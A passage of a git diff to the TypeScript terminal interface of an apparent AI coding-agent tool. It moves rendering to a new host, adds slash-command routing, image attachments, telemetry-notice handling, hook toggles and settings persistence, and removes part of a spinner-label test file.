if (body.length === 0) return { kind: "empty" }; + const sep = body.search(/\s/); + return sep === -1 + ? { kind: "command", name: body, args: "" } + : { kind: "command", name: body.slice(0, sep), args: body.slice(sep + 1).trim() }; +} + +export type SubmitHandlerDeps = { + dispatchCommand: (name: string, args: string) => void; + sendPrompt: (text: string, attachments?: readonly PendingImageAttachment[]) => void; + /** Consent-by-proceeding hook: runs only for real prompts, never commands. */ + onPromptSubmitted?: () => void; +}; + +/** + * Composer submit handler. Slash input is dispatched against the command + * registry instead of being sent to the model. + */ +export function createSubmitHandler( + deps: SubmitHandlerDeps, +): (text: string, attachments?: readonly PendingImageAttachment[]) => void { + return (text, attachments) => { + const route = routeSubmission(text); + const hasAttachments = attachments !== undefined && attachments.length > 0; + if (route.kind === "empty" && !hasAttachments) return; + if (route.kind === "command") { + deps.dispatchCommand(route.name, route.args); + return; + } + deps.onPromptSubmitted?.(); + deps.sendPrompt(route.kind === "prompt" ? route.text : "", attachments); + }; +} + +/** Text sent alongside an image when the operator attached one without a prompt. */ +export const IMAGE_ONLY_PROMPT = "Please inspect the attached image."; + +/** + * Build the inbound message carrying image attachments. Plain text sends stay + * on the string overload; only attachment sends need the envelope. + */ +export function userInboundMessage( + text: string, + attachments: readonly PendingImageAttachment[], +): InboundMessage { + return { + ref: { uid: 1, mailbox: "INBOX" }, + headers: { + from: "user@local", + to: ["agent@local"], + date: new Date().toISOString(), + messageId: `<${crypto.randomUUID()}@local>`, + interchangeType: "conversation.message", + }, + flags: [], + signatureStatus: "missing", + content: text.length > 0 ? text : IMAGE_ONLY_PROMPT, + attachments: attachments.map((a) => ({ + name: a.name, + contentType: a.contentType, + data: a.data, + })), + }; +} + +/** First-run telemetry disclosure to show before consent-by-proceeding applies. */ +export function telemetryStartupNotice( + globalSettings: Settings | null | undefined, + env: NodeJS.ProcessEnv = process.env, +): string | undefined { + return telemetryFirstRunPending(globalSettings, env) ? TELEMETRY_NOTICE : undefined; +} + +export function setUpCommandRegistry( + settings: Settings | undefined, + plugins: PluginModule[], +): void { + const pluginConfig = settings?.plugins ?? {}; + registerBuiltInCommands(); + setConfiguredTiers(settings?.tiers ?? {}); + registerWorkflowPlugins(plugins, pluginConfig); + registerCommandPlugins(plugins, pluginConfig); + setHiddenCommands(settings?.hiddenCommands ?? []); +} + export async function runTUI(initialConfig: Config): Promise { let config = initialConfig; const inferenceDeps = await createInferenceDependencies(); @@ -242,9 +395,7 @@ export async function runTUI(initialConfig: Config): Promise { const executablePlugins = () => livePluginModules.filter((m) => m.metadataOnly !== true); // Command plugins are wired in only when explicitly enabled in settings. const pluginConfig = config.settings?.plugins ?? {}; - registerWorkflowPlugins(executablePlugins(), pluginConfig); - registerCommandPlugins(executablePlugins(), pluginConfig); - setHiddenCommands(config.settings?.hiddenCommands ?? []); + setUpCommandRegistry(config.settings, executablePlugins()); // loadConfig already bootstrapped pricing metadata; re-read cache here so a // TUI-only entry (tests) still picks up the tool-home cache path. await seedPricingMetadataFromCache({ @@ -301,6 +452,10 @@ export async function runTUI(initialConfig: Config): Promise { // Bound after the cycle recorder exists (it needs the session workdir); the // crash guard is declared first so it covers every fallible step below. let flushPartialOnCrash: () => Promise = async () => {}; + // Bound once the host is mounted. Without this the crash path leaves the + // renderer alive, so the alternate screen, mouse reporting and raw mode are + // never disabled and the operator's terminal is left wedged. + let disposeHost: () => void = () => {}; const finalizeOnCrash = async (err: unknown): Promise => { if (finalized) return; finalized = true; @@ -335,16 +490,72 @@ export async function runTUI(initialConfig: Config): Promise { try { const emitter = createTUIEventEmitter(); + const initialHookEnabled: Record = Object.fromEntries( + Object.entries(config.settings?.hooks ?? {}).map(([id, v]) => [id, v.enabled]), + ); const hookManager = createLifecycleHookManager({ hooks: await discoverLifecycleHooks(hookDirectories(config.cwd)), onEvent: (event) => emitter.emit("hook", event), + initialEnabled: initialHookEnabled, }); + // Cheap static check, not a real parser: a shell hook always receives the + // lifecycle name as $1, so it can react to either; a TypeScript hook's + // exports tell us which of postTurn/postRun it actually implements. + const hookRunsOn = new Map(); + for (const status of hookManager.getStatuses()) { + if (status.type === "shell") { + hookRunsOn.set(status.id, "runs postTurn and postRun (receives the lifecycle name as $1)"); + continue; + } + try { + const source = await readFile(status.path, "utf8"); + const hasPostTurn = /export\s+(async\s+)?function\s+postTurn\b/.test(source); + const hasPostRun = /export\s+(async\s+)?function\s+postRun\b/.test(source); + hookRunsOn.set( + status.id, + hasPostTurn && hasPostRun + ? "runs postTurn and postRun" + : hasPostTurn + ? "runs postTurn" + : hasPostRun + ? "runs postRun" + : "no postTurn/postRun export found — see file", + ); + } catch { + hookRunsOn.set(status.id, "could not read hook file — see file"); + } + } + let liveHookConfig: Record = { ...(config.settings?.hooks ?? {}) }; + const persistHookSettings = async (): Promise => { + const base = await loadGlobalSettingsWriteBase(config.globalSettingsPath); + if (base === null) { + tuiLogger.warn("Skipping hook settings write: unreadable global settings at {path}", { + path: config.globalSettingsPath, + }); + return; + } + const next: Settings = { ...base, hooks: liveHookConfig }; + await saveGlobalSettings(config.globalSettingsPath, next); + }; + const setHookEnabled = async (id: string, enabled: boolean): Promise => { + hookManager.setEnabled(id, enabled); + liveHookConfig = { ...liveHookConfig, [id]: { enabled } }; + await persistHookSettings(); + }; let runError: string | undefined; const recordRunError = (err: unknown): void => { runError = err instanceof Error ? err.message : String(err); }; + // A send rejected because the operator interrupted is not a failure to + // report, and it must not settle a UI the interrupt path already settled. + let sendAborted = false; + const isCodexAuthError = (err: unknown): boolean => + err instanceof Error && err.name === "CodexAuthError"; + const isXaiAuthError = (err: unknown): boolean => + err instanceof Error && err.name === "XaiAuthError"; + const activeProviderModel = `${config.providerName}:${config.model}`; // Goal governor is created after liveSource (evaluator closure); the gate // holds a ref so requestApproval can arm a timeout once a goal is active. @@ -602,7 +813,9 @@ export async function runTUI(initialConfig: Config): Promise { origin: "path", diagnostics: addDiag, }); - emitPluginWarningSummary(addDiag); + // Collected, not emitted: `emitPluginWarningSummary` writes to stderr, and + // a raw write lands mid-frame and corrupts the rendered transcript. The + // warnings are folded into the result message below instead. if (mod === null) return { ok: false, message: `Could not load a plugin at ${path}` }; if (mod.manifest === undefined) { return { ok: false, message: "Plugin has no manifest (needs id/name/kind)" }; @@ -643,7 +856,15 @@ export async function runTUI(initialConfig: Config): Promise { // the next session starts from. if (!livePluginPaths.includes(abs)) livePluginPaths.push(abs); await persistPluginSettings(); - return { ok: true, message: `Added ${descriptor.name}`, id: descriptor.id }; + const warnings = formatPluginWarningsSummary(addDiag.warnings); + return { + ok: true, + message: + warnings === undefined + ? `Added ${descriptor.name}` + : `Added ${descriptor.name} (${warnings})`, + id: descriptor.id, + }; }, revokeTrust: async (id) => { const mod = livePluginModules.find((m) => m.manifest?.id === id); @@ -702,6 +923,9 @@ export async function runTUI(initialConfig: Config): Promise { ...(toolWatchdogFromSettings(config.settings) ?? {}), }; const localSettingsForMode = await loadLocalSettings(localSettingsPath(config.cwd)).catch(() => null); + // A local override wins on read; the settings surface's scope switch mirrors + // that back so the operator sees which file a change would land in. + let liveSessionModeScope: SessionModeScope = localSettingsForMode?.sessionMode !== undefined ? "local" : "global"; let liveSessionMode: SessionMode | undefined = resolveSessionMode(config.settings, localSettingsForMode); if (liveSessionMode === undefined) { const picked = await promptSessionModeIfUnset(config.globalSettingsPath); @@ -719,8 +943,9 @@ export async function runTUI(initialConfig: Config): Promise { if (refreshed !== null) config = { ...config, settings: refreshed }; } } + let liveMaxConcurrentSubAgents = resolveMaxConcurrentSubAgents(config.settings); if (liveSessionMode === "orchestrator") { - configureSubAgentConcurrency(resolveMaxConcurrentSubAgents(config.settings)); + configureSubAgentConcurrency(liveMaxConcurrentSubAgents); } const advertisedBuiltInPrefix = advertisedToolNamesForSessionMode(liveSessionMode); // The workflow controller is built below, after the toolset; the holder lets @@ -1306,6 +1531,7 @@ export async function runTUI(initialConfig: Config): Promise { // mid-inference (the send signal only rejects the send promise). Close it, // drain the old stream, and rebuild a fresh agent so the next send works. const interrupt = (): void => { + sendAborted = true; void enqueueOp(async () => { try { // close() tears down stream consumers before the aborted cycle's @@ -1390,9 +1616,6 @@ export async function runTUI(initialConfig: Config): Promise { }); }; - // Ink 7.0.4 has no enterAltScreen render option, so drive the alternate - // screen buffer by hand: enter before render to hide pre-launch scrollback, - // and restore it on exit (including abrupt process exit) so history returns. // The `onboarded` flag is global user state: read and written against the TRUE // global settings file, never config.globalSettingsPath (which is the --config // file when one was given). This keeps first-run detection consistent and stops @@ -1410,12 +1633,15 @@ export async function runTUI(initialConfig: Config): Promise { // `onboarded` above. const onChangeTelemetryEnabled = createTelemetryToggleHandler(trueGlobalSettingsPath); const telemetryFirstRun = telemetryFirstRunPending(globalSettingsForOnboarding); - const telemetryNotice = telemetryFirstRun ? TELEMETRY_NOTICE : undefined; + const telemetryNotice = telemetryStartupNotice(globalSettingsForOnboarding); // Tracks the user's intent (persisted opt-in, updated live by the settings // toggle) rather than the held instance's state, so the settings tab shows // On during the hold and an opt-out before the first action suppresses // activation entirely. let liveTelemetryIntent = telemetryFirstRun || getTelemetry().enabled; + // Off by default: the prompt border's running cost is a distraction most + // sessions do not want. /cost stays available regardless. + let liveShowPromptCost = config.settings?.showPromptCost ?? false; if (telemetryFirstRun) { void markTelemetryNoticeShown(trueGlobalSettingsPath).catch(() => { // Best-effort: worst case the notice shows again next launch. @@ -1448,188 +1674,445 @@ export async function runTUI(initialConfig: Config): Promise { // session can show them. } - const exitAltScreen = enterAltScreen(); - - // Strip SGR mouse sequences before Ink's parser broadcasts input to every - // useInput handler, so they can never leak into a text field as literal text. - // Scroll-wheel events are re-routed through `mouseEvents` since they no longer - // arrive via useInput. - const { stdin: filteredStdin, mouse: mouseEvents } = createFilteredStdin(process.stdin); - - // Turn on SGR mouse reporting so the terminal emits the wheel sequences the - // filter detects and re-routes to `mouseEvents`. - const disableMouseReporting = enableMouseReporting(); - - // Render first so the App's gate listeners are registered before it sends the - // initial task. exitOnCtrlC is off so Ctrl+C reaches our keymap (stop the run) - // instead of Ink killing the process outright. - const { waitUntilExit } = render( - 0 ? runTaskTitle : "Untitled session"} - initialModel={config.model} - initialProvider={config.providerName} - {...(config.reasoningEffort !== undefined ? { initialReasoningEffort: config.reasoningEffort } : {})} - providers={config.providers} - globalSettingsPath={config.globalSettingsPath} - globalOnboardingPath={trueGlobalSettingsPath} - globallyOnboarded={globallyOnboarded} - {...(telemetryNotice !== undefined ? { telemetryNotice } : {})} - {...(config.settingsDiagnostics !== undefined && config.settingsDiagnostics.length > 0 - ? { settingsDiagnostics: config.settingsDiagnostics } - : {})} - {...(whatsNewMarkdown !== undefined ? { whatsNewMarkdown } : {})} - telemetryEnabled={liveTelemetryIntent} - onChangeTelemetryEnabled={(enabled) => { - liveTelemetryIntent = enabled; - onChangeTelemetryEnabled(enabled); - }} - {...(telemetryFirstRun - ? { - onFirstUserMessage: () => { - if (!liveTelemetryIntent) return; - void activateHeldTelemetry(trueGlobalSettingsPath, () => liveTelemetryIntent); - }, - } - : {})} - {...(config.globalDefaultProvider !== undefined ? { globalDefaultProvider: config.globalDefaultProvider } : {})} - cwd={config.cwd} - initialTask={config.task} - skipInitialTask={resumeSkipInitialTask} - initialContentBlocks={[]} - getSessionId={() => sessionId} - initialHooks={hookManager.getStatuses()} - onToggleHook={(hookId, enabled) => hookManager.setEnabled(hookId, enabled)} - onAgentError={recordRunError} - onInterrupt={interrupt} - onNewSession={newSession} - onRenameSession={(name) => { - const trimmed = name.trim(); - if (trimmed.length === 0) return "Session name cannot be empty"; - runTaskTitle = trimmed; - emitter.emit("session.title", truncateSessionLabel(runTaskTitle)); - void renameSession(config.cwd, sessionId, trimmed).then(() => persistRunSnapshot("running")); - return undefined; - }} - permissionsAdmin={permissionsAdmin} - pluginsAdmin={pluginsAdmin} - {...(config.profile !== undefined ? { profile: config.profile } : {})} - initialAuto={config.auto} - onToggleAuto={(value) => permissionGate.setAuto(value)} - {...(config.tiers !== undefined ? { initialTiers: config.tiers } : {})} - {...(config.settings !== undefined ? { initialSettings: config.settings } : {})} - onChangeCompactionMode={async (mode) => { - liveCompactionMode = mode; - const base = await loadGlobalSettingsWriteBase(config.globalSettingsPath); - if (base === null) { - tuiLogger.warn( - "Skipping compaction mode write: unreadable global settings at {path}", - { path: config.globalSettingsPath }, - ); - return; - } - await saveGlobalSettings(config.globalSettingsPath, { ...base, compactionMode: mode }); - }} - onChangeMaxConcurrentSubAgents={async (limit) => { - configureSubAgentConcurrency(limit); - const base = await loadGlobalSettingsWriteBase(config.globalSettingsPath); - if (base === null) { - tuiLogger.warn( - "Skipping max concurrent sub-agents write: unreadable global settings at {path}", - { path: config.globalSettingsPath }, - ); - return; + const commandContext: CommandContext = { + signalClear: newSession, + getMCPServers: () => connectedMcpServers.map((s) => ({ name: s.name, tools: [] })), + getCostSummary: (): CostSummary => { + const usage = runSink.getTokenUsage(); + const lastTurnUsage = runSink.getLastTurnUsage(); + const pricingCache = getActivePricingCache(); + const faremeter = createFaremeter({ modelId: config.model, pricingCache }); + faremeter.addUsage(usage); + const totalCost = faremeter.getTotalCost(); + return buildCostSummary({ + modelId: config.model, + baseURL: config.baseURL, + pricingCache, + totalCost, + formattedCost: formatCost(totalCost), + inputTokens: usage.input, + outputTokens: usage.output, + cacheReadTokens: usage.cacheRead, + contextTokens: lastTurnUsage.input + lastTurnUsage.cacheRead + lastTurnUsage.cacheWrite, + }); + }, + startWorkflow: (name) => workflowController.start(name), + renameSession: (name) => { + const trimmed = name.trim(); + if (trimmed.length === 0) return "Session name cannot be empty"; + runTaskTitle = trimmed; + emitter.emit("session.title", truncateSessionLabel(runTaskTitle)); + void renameSession(config.cwd, sessionId, trimmed).then(() => persistRunSnapshot("running")); + return undefined; + }, + goal: { + get: () => goalGovernor.get(), + set: (condition, opts) => goalGovernor.set(condition, opts), + pause: () => goalGovernor.pause(), + resume: (opts) => goalGovernor.resume(opts), + clear: () => goalGovernor.clear(), + }, + }; + + const systemRow = (text: string): void => { + appendStreamRow(host.shell, { role: "system", text, meta: "command" }); + }; + + /** Settle the shell after a rejected send so the run does not look live. */ + const handleSendFailure = (err: unknown): void => { + const kind = classifyAgentSendFailure( + err, + sendAborted, + isCodexAuthError, + isXaiAuthError, + ); + if (!shouldSettleUiAfterSendFailure(kind)) return; + recordRunError(err); + systemRow(err instanceof Error ? err.message : String(err)); + setShellRunState(host.shell, "idle"); + }; + + // The permissions surface addresses grants by their position in the last + // listing, so revoke resolves against the same snapshot the operator saw. + let listedGrants: readonly ScopedApproval[] = []; + + // Absent file → fresh base; unreadable/invalid → skip the write rather than + // clobber a corrupt settings file with a minimal shell. + const persistGlobalSettings = async ( + what: string, + apply: (base: Settings) => Settings, + ): Promise => { + const base = await loadGlobalSettingsWriteBase(config.globalSettingsPath); + if (base === null) { + tuiLogger.warn("Skipping {what} write: unreadable global settings at {path}", { + what, + path: config.globalSettingsPath, + }); + return; + } + await saveGlobalSettings(config.globalSettingsPath, apply(base)); + }; + + const localSettingsFile = localSettingsPath(config.cwd); + // Same fail-open shape as persistGlobalSettings, against the per-repo file. + const persistLocalSettings = async ( + what: string, + apply: (base: LocalSettings) => LocalSettings, + ): Promise => { + const base = await loadLocalSettingsWriteBase(localSettingsFile); + if (base === null) { + tuiLogger.warn("Skipping {what} write: unreadable local settings at {path}", { + what, + path: localSettingsFile, + }); + return; + } + await saveLocalSettings(localSettingsFile, apply(base)); + }; + + const applyCommandResult = (result: CommandResult): void => { + switch (result.type) { + case "message": + systemRow(result.text); + return; + case "send": + void agentProxy.send(result.text).catch(handleSendFailure); + return; + case "workflow": + systemRow(workflowController.start(result.name)); + return; + case "tier": + systemRow(`Tier ${result.tier} selected`); + return; + case "noop": + return; + case "overlay": + if (!host.openSurface(result.overlay)) { + systemRow(`No surface for /${result.overlay}.`); } - await saveGlobalSettings(config.globalSettingsPath, { - ...base, - maxConcurrentSubAgents: limit, + return; + case "modal": + // /model is the only modal reachable from a command; provider login is + // reached from the picker itself. + if (result.modal === "agent" && host.openSurface("models")) return; + systemRow(`${result.modal} is not available in this renderer yet`); + return; + case "view": + systemRow(`${result.view} is not available in this renderer yet`); + return; + case "paste-image": + void attachClipboardImage(host.shell); + return; + } + }; + + /** + * Full user-prompt send path: inline image paths become attachments, + * @mentions are expanded, and the message is recorded for Up/Down recall. + */ + const sendUserPrompt = async ( + text: string, + pending: readonly PendingImageAttachment[], + ): Promise => { + sendAborted = false; + if (text.trim().length > 0) { + void appendSentMessage(config.cwd, sessionId, text).catch((err: unknown) => { + tuiLogger.debug("sent-message append failed: {error}", { + error: err instanceof Error ? err.message : String(err), }); - }} - waitForApproval={resolveWaitForApproval(liveToolWatchdog)} - onChangeWaitForApproval={async (value) => { - liveToolWatchdog.waitForApproval = value; - const base = await loadGlobalSettingsWriteBase(config.globalSettingsPath); - if (base === null) { - tuiLogger.warn( - "Skipping wait-for-approval write: unreadable global settings at {path}", - { path: config.globalSettingsPath }, - ); - return; + }); + } + const ingested = await ingestPathMentions(text, config.cwd, imageAttachmentFromPath); + const resolved = await resolveAtMentions(ingested.text, config.cwd); + const attachments = [...pending, ...ingested.attachments]; + if (attachments.length === 0) { + await agentProxy.send(resolved); + return; + } + await agentProxy.send(userInboundMessage(resolved, attachments)); + }; + + const dispatchCommand = (name: string, args: string): void => { + const command = getCommand(name); + if (command === undefined) { + systemRow(`Unknown command: ${name}`); + return; + } + applyCommandResult(command.handler(args, commandContext)); + }; + + // Mount OpenTUI before the initial task is sent so gate and stream listeners + // are registered first. Ctrl+C stays with the shell (interrupt the run); + // OpenTUI owns the alternate screen and mouse reporting itself. + const host = await mountRunnerHost({ + // An unnamed session shows nothing rather than a placeholder. + title: runTaskTitle, + cwd: process.cwd(), + eventEmitter: emitter, + send: createSubmitHandler({ + dispatchCommand: (name, args) => dispatchCommand(name, args), + sendPrompt: (text, attachments) => { + void sendUserPrompt(text, attachments ?? []).catch(handleSendFailure); + }, + onPromptSubmitted: () => { + if (telemetryFirstRun && liveTelemetryIntent) { + void activateHeldTelemetry(trueGlobalSettingsPath, () => liveTelemetryIntent); } - await saveGlobalSettings(config.globalSettingsPath, { - ...base, - tools: { ...base.tools, waitForApproval: value }, + }, + }), + interrupt, + // Consent by proceeding requires the disclosure to be on screen before the + // first prompt activates the held telemetry instance: the landing shows it, + // and the shell re-files it into the transcript when the landing clears. + ...(telemetryNotice !== undefined ? { telemetryNotice } : {}), + providers: config.providers, + recentModels: listRecentModels(config.settings ?? { providers: {} }), + favoriteModels: listFavoriteModels(config.settings ?? { providers: {} }), + unconnectedProviders: providerChoices() + .filter((choice) => !choice.custom) + .filter((choice) => !config.providers.some((p) => p.name === choice.id)) + .map((choice) => ({ + name: choice.id, + label: choice.label, + modelCount: choice.models.length, + authKind: choice.oauth !== null ? ("oauth" as const) : ("key" as const), + })), + onConnectProvider: (providerName) => { + // Live inline connect (CL-5499) needs a text-input-capable overlay that + // does not exist in shell.ts's list-overlay kit yet — see AGENTS report. + systemRow( + `Connecting ${providerName} from the running session isn't wired up yet — run /model after restarting, or reconnect via onboarding.`, + ); + }, + modelLabel: () => ({ + profile: config.providerName, + model: config.model, + ...(config.reasoningEffort !== undefined ? { effort: config.reasoningEffort } : {}), + }), + readCostSummary: () => commandContext.getCostSummary?.(), + showPromptCost: () => liveShowPromptCost, + onModelSelect: (id) => { + const sep = id.indexOf(":"); + if (sep <= 0) return; + const provider = id.slice(0, sep); + const model = id.slice(sep + 1); + config = { ...config, providerName: provider, model }; + const bundle = buildSessionSources(); + agentProxy.setSources(bundle.sources, bundle.defaultSource); + + const ref: ModelRef = { provider, model }; + void (async () => { + const onDisk = (await loadGlobalSettingsWriteBase(trueGlobalSettingsPath)) ?? { + providers: {}, + }; + const next = pushRecentModel({ ...onDisk, defaultProvider: provider }, ref); + await saveGlobalSettings(trueGlobalSettingsPath, next); + config = { ...config, settings: next }; + host.refreshModels(listRecentModels(next), listFavoriteModels(next)); + })().catch((err: unknown) => { + tuiLogger.debug("model selection persist failed: {error}", { + error: err instanceof Error ? err.message : String(err), }); - }} - initialSessionMode={liveSessionMode} - {...(config.settings?.sessionMode !== undefined - ? { initialSavedGlobalSessionMode: config.settings.sessionMode } - : {})} - {...(localSettingsForMode?.sessionMode !== undefined - ? { initialSavedLocalSessionMode: localSettingsForMode.sessionMode } - : {})} - onChangeSessionMode={async (mode, scope) => { - if (scope === "local") { - const path = localSettingsPath(config.cwd); -// Absent → {}; unreadable/invalid → null so we never clobber. - const existing = await loadLocalSettingsWriteBase(path); - if (existing === null) { - tuiLogger.warn( - "Skipping local session mode write: unreadable settings at {path}", - { path }, - ); - return; - } - await saveLocalSettings(path, { ...existing, sessionMode: mode }); - } else { - const base = await loadGlobalSettingsWriteBase(config.globalSettingsPath); - if (base === null) { - tuiLogger.warn( - "Skipping global session mode write: unreadable settings at {path}", - { path: config.globalSettingsPath }, - ); + }); + }, + onFavoriteToggle: (id) => { + const sep = id.indexOf(":"); + if (sep <= 0) return; + const ref: ModelRef = { provider: id.slice(0, sep), model: id.slice(sep + 1) }; + void (async () => { + const onDisk = (await loadGlobalSettingsWriteBase(trueGlobalSettingsPath)) ?? { + providers: {}, + }; + const next = toggleFavoriteModel(onDisk, ref); + await saveGlobalSettings(trueGlobalSettingsPath, next); + config = { ...config, settings: next }; + host.refreshModels(listRecentModels(next), listFavoriteModels(next)); + })().catch((err: unknown) => { + tuiLogger.debug("favorite toggle persist failed: {error}", { + error: err instanceof Error ? err.message : String(err), + }); + }); + }, + commands: listCommands().map((c) => ({ name: c.name, description: c.description })), + onCommand: (name) => { + const route = routeSubmission(name); + if (route.kind === "empty") return; + if (route.kind === "command") { + dispatchCommand(route.name, route.args); + return; + } + const [commandName = "", ...rest] = route.text.split(/\s+/); + dispatchCommand(commandName, rest.join(" ")); + }, + chrome: () => ({ + goal: goalGovernor.get(), + agents: subAgentSessions.listForStrip().map((s) => ({ + agentId: s.agentId, + id: s.id, + description: s.description, + status: s.status, + currentToolName: s.currentToolName, + })), + }), + subscribeChrome: (notify) => { + const unsubscribeAgents = subAgentSessions.subscribe(notify); + emitter.on("goal", notify); + return () => { + unsubscribeAgents(); + emitter.off("goal", notify); + }; + }, + subAgentSessions: () => subAgentSessions.list(), + surfaces: { + permissions: { + list: async () => { + listedGrants = await permissionsAdmin.list(); + return listedGrants.map((entry, index) => ({ + id: String(index), + scopeLabel: GRANT_SCOPE_LABEL[entry.scope], + tool: entry.tool, + pattern: entry.pattern, + ...(entry.providerModel !== undefined ? { providerModel: entry.providerModel } : {}), + })); + }, + revoke: async (id) => { + const entry = listedGrants[Number(id)]; + if (entry !== undefined) await permissionsAdmin.revoke(entry); + }, + }, + plugins: { + list: () => { + const cfg = pluginsAdmin.getConfig(); + return pluginsAdmin.list().map((p) => { + const mod = livePluginModules.find((m) => m.manifest?.id === p.id); + return { + id: p.id, + name: p.name, + enabled: cfg[p.id]?.enabled === true, + credentials: p.credentials, + credentialValues: cfg[p.id]?.credentials ?? {}, + ...(p.kind !== undefined ? { kind: p.kind } : {}), + ...(p.description !== undefined ? { description: p.description } : {}), + ...(p.needsTrust === true ? { needsTrust: true } : {}), + ...(p.canRevokeTrust === true ? { canRevokeTrust: true } : {}), + ...(p.agentProfiles !== undefined ? { agentProfiles: p.agentProfiles } : {}), + ...(p.needsTrust === true && mod?.pluginPath !== undefined + ? { originPath: mod.pluginPath } + : {}), + }; + }); + }, + setEnabled: async (id, enabled) => { + const existing = pluginsAdmin.getConfig()[id] ?? {}; + await pluginsAdmin.saveConfig(id, { ...existing, enabled }); + }, + saveCredentials: async (id, credentials) => { + const existing = pluginsAdmin.getConfig()[id] ?? {}; + await pluginsAdmin.saveConfig(id, { ...existing, credentials }); + }, + verify: (id, credentials) => pluginsAdmin.verify(id, credentials), + addPath: (path) => pluginsAdmin.addPath(path), + webProviders: () => webPluginCandidates.map((c) => ({ id: c.id, name: c.name })), + currentWebProvider: () => pluginsAdmin.getWebOverride(), + setWebProvider: (id) => pluginsAdmin.setWebOverride(id), + }, + hooks: { + list: () => + hookManager.getStatuses().map((status) => ({ + id: status.id, + name: status.name, + type: status.type, + path: status.path, + enabled: status.enabled, + runsOn: hookRunsOn.get(status.id) ?? "see file", + })), + setEnabled: (id, enabled) => setHookEnabled(id, enabled), + }, + settings: { + read: () => ({ + compactionMode: liveCompactionMode, + sessionMode: liveSessionMode ?? "orchestrator", + sessionModeScope: liveSessionModeScope, + maxConcurrentSubAgents: liveMaxConcurrentSubAgents, + waitForApproval: resolveWaitForApproval(liveToolWatchdog), + telemetryEnabled: liveTelemetryIntent, + showPromptCost: liveShowPromptCost, + }), + setCompactionMode: (mode) => { + liveCompactionMode = mode; + void persistGlobalSettings("compaction mode", (base) => ({ + ...base, + compactionMode: mode, + })); + }, + setSessionMode: (mode, scope) => { + liveSessionMode = mode; + liveSessionModeScope = scope; + if (scope === "local") { + void persistLocalSettings("session mode", (base) => ({ ...base, sessionMode: mode })); return; } - await saveGlobalSettings(config.globalSettingsPath, { ...base, sessionMode: mode }); - } - }} - initialProfiles={initialProfiles} - profilesDir={profilesDir} - onAgentProfilesChange={(profiles) => { - liveAgentProfiles = profiles; - }} - onSubAgentProviderChange={(provider) => { - liveSubAgentProvider.current = provider; - }} - onSubAgentRuntimeResolutionChange={({ catalog, settings }) => { - liveSubAgentCatalog.current = [...catalog]; - liveSubAgentSettings.current = settings; - }} - onStartWorkflow={(name) => workflowController.start(name)} - - onToggleCapability={(name) => workflowController.toggleCapability(name)} - loadedSkills={skills} - activePlugins={activePlugins} - initialWorkflowStatus={workflowController.status()} - mouseEvents={mouseEvents} - subAgentSessions={subAgentSessions} - goalApi={{ - get: () => goalGovernor.get(), - set: (condition, opts) => goalGovernor.set(condition, opts), - pause: () => goalGovernor.pause(), - resume: (opts) => goalGovernor.resume(opts), - clear: () => goalGovernor.clear(), - }} - />, - { - exitOnCtrlC: false, - stdin: filteredStdin, - // Incremental (line-diff) rendering materially cuts streaming repaint - // bytes versus Ink's default full-frame redraw. - incrementalRendering: true, + // A stale local override would keep outranking this write on the next + // resolve (resolveSessionMode prefers local), so switching back to + // "everywhere" clears it rather than leaving it to shadow the global value. + void persistLocalSettings("session mode", (base) => { + const { sessionMode: _drop, ...rest } = base; + return rest; + }); + void persistGlobalSettings("session mode", (base) => ({ ...base, sessionMode: mode })); + }, + setMaxConcurrentSubAgents: (limit) => { + liveMaxConcurrentSubAgents = limit; + configureSubAgentConcurrency(limit); + void persistGlobalSettings("max concurrent sub-agents", (base) => ({ + ...base, + maxConcurrentSubAgents: limit, + })); + }, + setWaitForApproval: (value) => { + liveToolWatchdog.waitForApproval = value; + void persistGlobalSettings("wait-for-approval", (base) => ({ + ...base, + tools: { ...base.tools, waitForApproval: value }, + })); + }, + setTelemetryEnabled: (enabled) => { + liveTelemetryIntent = enabled; + void onChangeTelemetryEnabled(enabled); + }, + setShowPromptCost: (value) => { + liveShowPromptCost = value; + host.refreshCostContext(); + void persistGlobalSettings("show prompt cost", (base) => ({ + ...base, + showPromptCost: value, + })); + }, + hooksSummary: () => { + const statuses = hookManager.getStatuses(); + return { + discovered: statuses.length, + off: statuses.filter((s) => !s.enabled).length, + }; + }, + openHooks: () => dispatchCommand("hooks", ""), + }, }, - ); + }); + + disposeHost = host.dispose; + + setMentionSuggestionSource(host.shell, (prefix) => listPathSuggestions(prefix, config.cwd)); + + // Recall spans the whole session, including what was sent before a resume. + void loadSentMessages(config.cwd, sessionId) + .then((sent) => setSentMessageHistory(host.shell, sent)) + .catch(() => undefined); + + + if (!resumeSkipInitialTask && config.task.trim().length > 0) { + void agentProxy.send(config.task.trim()).catch(handleSendFailure); + } // Hydrate a resumed session's transcript after first paint. Reading history and // mapping it to content blocks is pure I/O with no bearing on the shell, so the @@ -1700,13 +2183,11 @@ export async function runTUI(initialConfig: Config): Promise { }); }); - await waitUntilExit(); + await host.waitUntilExit(); // Quitting mid-stream is an abnormal end for the in-flight cycle: nothing // downstream delivers its terminal event once the app is gone. await cycleRecorder.dispose("exit"); mcpConnectController.abort(); - disableMouseReporting(); - exitAltScreen(); const finishedAt = Date.now(); const turnCollector = runSink.getTurnCollector(); @@ -1772,6 +2253,18 @@ export async function runTUI(initialConfig: Config): Promise { status: runSink.getStatus(), }); } catch (err) { + // Terminal first: state persistence below can await disk I/O, and every + // millisecond before this runs is a millisecond the operator is staring at + // a frozen alternate screen. Kept outside finalizeOnCrash because that + // short-circuits once the clean path has marked the run finalized, and a + // throw after that point still has to give the terminal back. + try { + disposeHost(); + } catch (disposeErr: unknown) { + tuiLogger.warn("crash finalize: host dispose failed: {error}", { + error: disposeErr instanceof Error ? disposeErr.message : String(disposeErr), + }); + } await finalizeOnCrash(err); throw err; } diff --git a/src/tui/session-chrome.test.ts b/src/tui/session-chrome.test.ts deleted file mode 100644 index 5c511b927..000000000 --- a/src/tui/session-chrome.test.ts +++ /dev/null @@ -1,64 +0,0 @@ -import { describe, expect, test } from "bun:test"; -import { - classifyAgentSendFailure, - resolveSessionSpinnerLabel, - shouldSettleUiAfterSendFailure, -} from "./session-chrome.js"; - -describe("resolveSessionSpinnerLabel", () => { - test("idle processing off yields no label", () => { - expect( - resolveSessionSpinnerLabel({ - isProcessing: false, - status: "idle", - awaitingResponse: false, - currentToolName: null, - streamingType: null, - }), - ).toBeUndefined(); - }); - - test("blocked gate shows approval wait", () => { - expect( - resolveSessionSpinnerLabel({ - isProcessing: true, - status: "blocked", - awaitingResponse: false, - currentToolName: "run_shell", - streamingType: "tool", - }), - ).toBe("Waiting for approval…"); - }); - - test("tool phase beats generic working", () => { - expect( - resolveSessionSpinnerLabel({ - isProcessing: true, - status: "running", - 